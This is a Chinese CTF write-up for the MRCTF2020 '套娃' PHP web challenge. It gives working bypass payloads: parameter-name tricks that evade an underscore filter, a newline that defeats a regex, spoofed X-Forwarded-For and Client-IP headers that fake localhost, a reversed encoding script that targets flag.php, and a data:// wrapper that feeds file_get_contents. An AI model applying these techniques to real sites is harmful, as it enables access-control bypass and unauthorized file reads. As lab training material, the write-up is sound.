[MRCTF2020]套娃
1
进去源代码显示:
1 2 3 4 5 6 7 8 9 10 11
| <!-- //1st $query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
|
其实对于substr_count($query, '%5f') != 0来说,他仍然相当于强比较
毕竟返回类型仍然为int
1.那么怎么绕过_呢?
->利用 PHP 的变量名特性
如果这个 $query 是在处理 GET/POST 的变量名,PHP 会自动把一些非法字符转换成下划线:
Payload:使用 .(点)或者 [(左中括号)
原理: index.php?m=1 在 PHP 内部会被转换成 $_GET['m']。这样你在 URL 里没写下划线,但后端逻辑拿到了下划线。
2.怎么绕过23333呢?
-> \n -> 23333后加上\n
b_u_p_t = 23333\n 满足了值不为23333,但是在正则的时候会把/n当成结束符,自然也就读取到了23333
payload
那么回复得到了一个新php
首先翻译一下这个jsfuck代码

jsfuck本来就是js语言,所以控制台直接输入回车就可以看到东西了

提示让我们post传参,
试了一下
Merak=1这个对
key=Merak这个错了
然后得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php';
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); }
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
|
我们的目标是下面三个
ip=127.0.0.1
change($_GET[‘file’]) = flag
2333 = todat is a happy day
- ip=127.0.0.1
1 2 3 4 5 6 7
| 对于$ip === '127.0.0.1' CLIENT-IP: 127.0.0.1 X-FORWARDED-FOR: 127.0.0.1 X-REAL-IP:127.0.0.1 加上文件头即可。
|
- change($_GET[‘file’]) = flag
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $v = 'flag.php'; $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr( ord ($v[$i]) - $i*2); } $re = base64_encode($re); echo $re;
?>
ZmpdYSZmXGI=
|
3.2333 = todat is a happy day
使用伪协议
1
| ?2333=data:text/plain,todat+is+a+happy+day?file=ZmpdYSZmXGI=
|
payload:
别忘记前面的ip要求本地
